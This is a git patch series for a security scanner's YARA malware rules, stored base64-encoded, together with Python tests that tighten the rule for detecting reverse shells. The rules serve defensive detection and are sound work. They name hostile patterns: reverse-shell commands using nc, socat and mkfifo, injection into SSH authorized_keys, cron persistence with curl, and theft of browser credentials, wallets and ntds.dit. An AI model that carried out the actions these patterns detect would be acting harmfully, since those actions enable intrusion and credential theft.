-IHRoZW0NCn0NCg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAg -ICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMgb3Ig -c291cmNlIGNvZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVy -aXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6DQog -ICAgICAgICRweW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2ltcG9y -dC8gbm9jYXNlDQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNz -fGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAveGlu -cHV0XHMrdGVzdC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlzXHMr -LS1zdGFydC8gbm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlT -dGF0ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRpdGlv -bjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9yDQp7 -DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBhdHRl -cm5zIChtYXNzIGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5ID0g -Im1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRl -bmNlID0gIjAuOCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAvb3Nc -LndhbGtccypcKC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUgICAg -PSAvKHlvdXJccytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxzKy4q -Yml0Y29pbnxzZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0g -L29zXC5yZW5hbWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMp -WyciXVxzKlwpLw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4qb3Bl -blxzKlwoLipbJ1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0 -aGVtDQp9DQoNCnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAg -ICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0 -b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAgICBj -YXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAg -ICAgY29uZmlkZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRo -dWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGNv -YmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnByZXRl -ciAgICA9ICJtZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9IC9t -ZXRhc3Bsb2l0LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAkZW1w -aXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNsaXZl -cl9jMiAgICAgID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UNCiAg -ICAgICAgJGNvdmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBub2Nh -c2UNCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZlcikv -IG5vY2FzZQ0KICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2ZXJ8 -UHVibGljS2V5Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFu -eSBvZiB0aGVtDQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAgICAg -ZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlhbCBo -YXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3 -YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAu -NzUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWdu -YXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9IC9D -aHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAgID0g -L2xvZ2luc1wuanNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tpZXMg -ID0gL0Nvb2tpZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAgICAg -ICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1pbWlr -YXR6ICAgICAgICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAgICAg -ICA9ICJsYXphZ25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMr -c2F2ZVxzKy4qXFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9udGRz -XC5kaXQvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg== +XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC57MCwzMDB9ZHVwMlxzKlwo +LnswLDIwMH0oc3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKVxzKlwoXHMqXFw/XFs/XHMqXFw/ +W1wiJ11cXD8oXC9iaW5cLyk/XHcqc2h8b3NcLnN5c3RlbVxzKlwoXHMqXFw/W1wiJ11cXD8oXC9i +aW5cLyk/XHcqc2h8cHR5XC5zcGF3blxzKlwoXHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/XHcqc2h8 +ZXhlY3ZlXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT9cdypzaCkvcw0KICAgICAgICAkcGVy +bF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDIwMH1zb2NrZXRccypcKFxzKlNPQ0su +ezAsMjAwfWNvbm5lY3RccypcKC57MCwzMDB9b3BlblxzKlwoXHMqU1REKElOfE9VVHxFUlIpLnsw +LDIwMH1leGVjXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT9cdypzaC9zDQogICAgICAgICRw +aHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgvIG5vY2FzZQ0KICAg +ICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xzKlwoLipleGVjXHMq +XCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3RccytTeXN0ZW1cLk5l +dFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0X3NoZWxsICAgICAg +PSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAgICAgICAgJG1rZmlm +b19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3NoLw0KICAgIGNvbmRp +dGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9vcl9wZXJzaXN0ZW5j +ZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29yIHBlcnNpc3Rl +bmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NIIGtleSBpbmpl +Y3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSIN +CiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0K +ICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJl +LWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAgICAgID0gL3VzZXJh +ZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVyc2lzdCAgICAgID0g +L2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2FzZQ0KICAgICAgICAk +c3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwvYXV0aG9yaXplZF9r +ZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xbU2VydmljZVxdLipF +eGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAgICAgICRiYXNocmNf +cGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nhc2UNCiAgICAgICAg +JHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9maWxlLyBub2Nhc2UN +CiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5kXC8uKihuY3xiYXNo +fHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAgID0gL0xEX1BSRUxP +QUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0N +Cg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2Ny +aXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMgb3Igc291cmNlIGNv +ZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkhJ +R0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6DQogICAgICAgICRw +eW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2ltcG9ydC8gbm9jYXNl +DQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNzfGhvb2t8b25f +cmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAveGlucHV0XHMrdGVz +dC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlzXHMrLS1zdGFydC8g +bm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlTdGF0ZXxTZXRX +aW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAg +ICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9yDQp7DQogICAgbWV0 +YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBhdHRlcm5zIChtYXNz +IGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUi +DQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRlbmNlID0gIjAu +OCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAvb3NcLndhbGtccypc +KC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUgICAgPSAvKHlvdXJc +cytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxzKy4qYml0Y29pbnxz +ZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0gL29zXC5yZW5h +bWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMpWyciXVxzKlwp +Lw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4qb3BlblxzKlwoLipb +J1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoN +CnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNj +cmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0b3JzIChDb2Jh +bHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAgICBjYXRlZ29yeSA9 +ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlk +ZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05l +bzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGNvYmFsdF9zdHJp +a2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnByZXRlciAgICA9ICJt +ZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9IC9tZXRhc3Bsb2l0 +LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAkZW1waXJlICAgICAg +ICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNsaXZlcl9jMiAgICAg +ID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UNCiAgICAgICAgJGNv +dmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBub2Nhc2UNCiAgICAg +ICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZlcikvIG5vY2FzZQ0K +ICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2ZXJ8UHVibGljS2V5 +Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVt +DQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRp +b24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlhbCBoYXJ2ZXN0aW5n +LCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAg +ICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuNzUiDQogICAg +ICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFz +ZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9IC9DaHJvbWUuKkxv +Z2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAgID0gL2xvZ2luc1wu +anNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tpZXMgID0gL0Nvb2tp +ZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAgICAgICR3YWxsZXRf +c3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1pbWlrYXR6ICAgICAg +ICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAgICAgICA9ICJsYXph +Z25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMrc2F2ZVxzKy4q +XFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9udGRzXC5kaXQvIG5v +Y2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg== diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 5967658f8..4a6ce2553 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -151,6 +151,56 @@ def _benign_perl_socket_client_fixture() -> str: ).decode() +def _python_helper_subprocess_fixture() -> str: + """A Python client that connects, then runs an unrelated helper subprocess. + + No descriptor redirection (``os.dup2``) binds the socket to the child's + stdio, and the helper is not a shell — so this must NOT match + ``reverse_shell``/``$python_socket`` even though ``subprocess`` still + appears after ``.connect(...)``. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcwpzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxMC4wLjAuMSIsIDQ0NDQpKQpzdWJwcm9jZXNzLmNhbGwoWyIvdXNyL2xvY2FsL2Jpbi9yZXBvcnQtc3RhdHVzLnNoIl0pCnMuc2VuZChiIm9rIikKcy5jbG9zZSgpCg==" + ).decode() + + +def _python_stdin_reopen_no_shell_fixture() -> str: + """A Python client that redirects stdin onto the socket but never execs a shell. + + ``os.dup2`` alone is not descriptor-redirection-plus-shell evidence — the + process just reads from its (now socket-backed) stdin and prints, so this + must NOT match ``reverse_shell``/``$python_socket``. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpkYXRhID0gb3MucmVhZCgwLCA0MDk2KQpwcmludChkYXRhKQpzLmNsb3NlKCkK" + ).decode() + + +def _perl_helper_exec_nonshell_fixture() -> str: + """A Perl client that connects, then execs an unrelated non-shell helper. + + No STDIN/STDOUT/STDERR redirection onto the socket precedes the ``exec``, + and the executed program is not a shell — so this must NOT match + ``reverse_shell``/``$perl_socket`` even though ``exec(`` still follows + ``connect(``. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwgaW5ldF9hdG9uKCRpcCkpKTsKZXhlYygiL3Vzci9sb2NhbC9iaW4vcmVwb3J0LXN0YXR1cy5zaCIpOwo=" + ).decode() + + +def _perl_stdin_reopen_no_exec_fixture() -> str: + """A Perl client that reopens STDIN onto the socket but never execs. + + ``open(STDIN, ...)`` alone is not redirection-plus-shell evidence — the + process just reads a line and prints it, so this must NOT match + ``reverse_shell``/``$perl_socket``. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwgaW5ldF9hdG9uKCRpcCkpKTsKb3BlbihTVERJTiwgIjwmU09DS0VUIik7Cm15ICRsaW5lID0gPFNURElOPjsKcHJpbnQgJGxpbmU7Cg==" + ).decode() + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) @@ -678,9 +728,9 @@ def test_reverse_shell_rule_does_not_match_benign_python_socket_client(self): share a physical file, but stopping there also matches any plain client that connects and exchanges data — see `_benign_python_socket_client_fixture`. The string must additionally - require descriptor-redirection/shell evidence (``os.dup2``, - ``subprocess``, ``os.system``, ``pty.spawn``, ``execve``) after the - ``connect()`` call. + require descriptor redirection (``os.dup2``) onto the socket followed + by a shell execution marker (``/bin/sh``, ``/bin/bash``, etc.) after + the ``connect()`` call. """ findings = _run_builtin( _benign_python_socket_client_fixture(), @@ -688,6 +738,35 @@ def test_reverse_shell_rule_does_not_match_benign_python_socket_client(self): ) assert not _has_rule(findings, "reverse_shell") + def test_reverse_shell_rule_does_not_match_python_client_running_unrelated_helper_subprocess( + self, + ): + """A bare ``subprocess``/``os.system``/``pty.spawn``/``execve`` token + after ``connect()`` is not sufficient — the prior fix's alternation + let an ordinary client that merely shells out to an unrelated helper + (no descriptor redirection, no shell payload) still classify as + CRITICAL ``reverse_shell``/YR1. See + `_python_helper_subprocess_fixture`: this must NOT match. + """ + findings = _run_builtin( + _python_helper_subprocess_fixture(), + "scripts/report.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_python_client_that_reopens_stdin_without_shell(self): + """``os.dup2`` redirection alone, without a following shell execution + marker, must not fire ``reverse_shell``/YR1 — a process may + legitimately read its own stdin from a socket without ever spawning a + shell. See `_python_stdin_reopen_no_shell_fixture`: this must NOT + match. + """ + findings = _run_builtin( + _python_stdin_reopen_no_shell_fixture(), + "scripts/stdin_reader.py", + ) + assert not _has_rule(findings, "reverse_shell") + def test_reverse_shell_rule_matches_multiline_perl_socket(self): """`$perl_socket` must fire on a real multiline Perl reverse shell. @@ -715,6 +794,30 @@ def test_reverse_shell_rule_does_not_match_benign_perl_socket_client(self): ) assert not _has_rule(findings, "reverse_shell") + def test_reverse_shell_rule_does_not_match_perl_client_running_unrelated_helper_exec(self): + """A bare ``exec(`` after ``connect()`` is not sufficient — the prior + fix's alternation let an ordinary client that ``exec``s an unrelated + non-shell helper (no STDIN/STDOUT/STDERR redirection onto the socket) + still classify as CRITICAL ``reverse_shell``/YR1. See + `_perl_helper_exec_nonshell_fixture`: this must NOT match. + """ + findings = _run_builtin( + _perl_helper_exec_nonshell_fixture(), + "scripts/report.pl", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_perl_client_that_reopens_stdin_without_exec(self): + """``open(STDIN, ...)`` redirection alone, without a following + ``exec`` of a shell, must not fire ``reverse_shell``/YR1. See + `_perl_stdin_reopen_no_exec_fixture`: this must NOT match. + """ + findings = _run_builtin( + _perl_stdin_reopen_no_exec_fixture(), + "scripts/stdin_reader.pl", + ) + assert not _has_rule(findings, "reverse_shell") + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path, From 1c85f9189c18a69611a75e24799a891ed26bda48 Mon Sep 17 00:00:00 2001 From: Udaya Tejas Date: Sat, 26 Sep 2026 06:06:00 +0000 Subject: [PATCH 4/8] fix(yara): recognize equivalent redirection/exec forms, tighten shell-name and descriptor binding The prior fix's alternation let any ONE of dup2/subprocess/os.system/ pty.spawn/execve satisfy the Python shell-exec marker, and matched os.execve but not the equally common os.execl. It also required an unqualified dup2( anywhere nearby rather than binding the descriptor redirection to fd 0 (stdin) or to the socket, so dup2'ing an unrelated local log file onto stdout still counted as corroborating evidence for a shell that was never wired to the connection. The Perl string required parentheses around open/exec, which Perl does not require. Both languages matched any \w*sh token, so a non-shell helper like sha256sum satisfied the shell-execution requirement on its `sh` prefix alone. Rework $python_socket so descriptor redirection must land on fd 0 before a shell-exec marker is accepted, add the equivalent stdin=/stdout=/stderr=.fileno() keyword-redirection form used by subprocess.call/Popen/run, recognize os.execl alongside os.execve, and allow pty.spawn's list argument the same as subprocess's. Rework $perl_socket's open/exec calls to make the parentheses optional. Bind the shell name in both to a closed set (sh, bash, dash, ash, zsh, ksh, csh) with a trailing word boundary so a prefix match no longer qualifies. Adds seven regressions matching the shapes named in review: three previously-undetected Python reverse-shell forms (execl, pty.spawn with a list, and stdin=/stdout=/stderr= keyword redirection with no dup2 at all), a parenthesis-free Perl positive, and three false-positive negatives (a non-shell helper for each language, and dup2 onto an unrelated local log file). Existing fixtures for both languages still pass unchanged. Signed-off-by: Udaya Tejas --- src/skillspector/yara_rules/malware.yar.b64 | 166 +++++++++-------- tests/nodes/analyzers/test_static_yara.py | 193 ++++++++++++++++++++ 2 files changed, 279 insertions(+), 80 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index b5a2a2e49..9883da7e0 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,84 +12,90 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC57MCwzMDB9ZHVwMlxzKlwo -LnswLDIwMH0oc3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKVxzKlwoXHMqXFw/XFs/XHMqXFw/ -W1wiJ11cXD8oXC9iaW5cLyk/XHcqc2h8b3NcLnN5c3RlbVxzKlwoXHMqXFw/W1wiJ11cXD8oXC9i -aW5cLyk/XHcqc2h8cHR5XC5zcGF3blxzKlwoXHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/XHcqc2h8 -ZXhlY3ZlXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT9cdypzaCkvcw0KICAgICAgICAkcGVy -bF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDIwMH1zb2NrZXRccypcKFxzKlNPQ0su -ezAsMjAwfWNvbm5lY3RccypcKC57MCwzMDB9b3BlblxzKlwoXHMqU1REKElOfE9VVHxFUlIpLnsw -LDIwMH1leGVjXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT9cdypzaC9zDQogICAgICAgICRw -aHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgvIG5vY2FzZQ0KICAg -ICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xzKlwoLipleGVjXHMq -XCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3RccytTeXN0ZW1cLk5l -dFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0X3NoZWxsICAgICAg -PSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAgICAgICAgJG1rZmlm -b19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3NoLw0KICAgIGNvbmRp -dGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9vcl9wZXJzaXN0ZW5j -ZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29yIHBlcnNpc3Rl 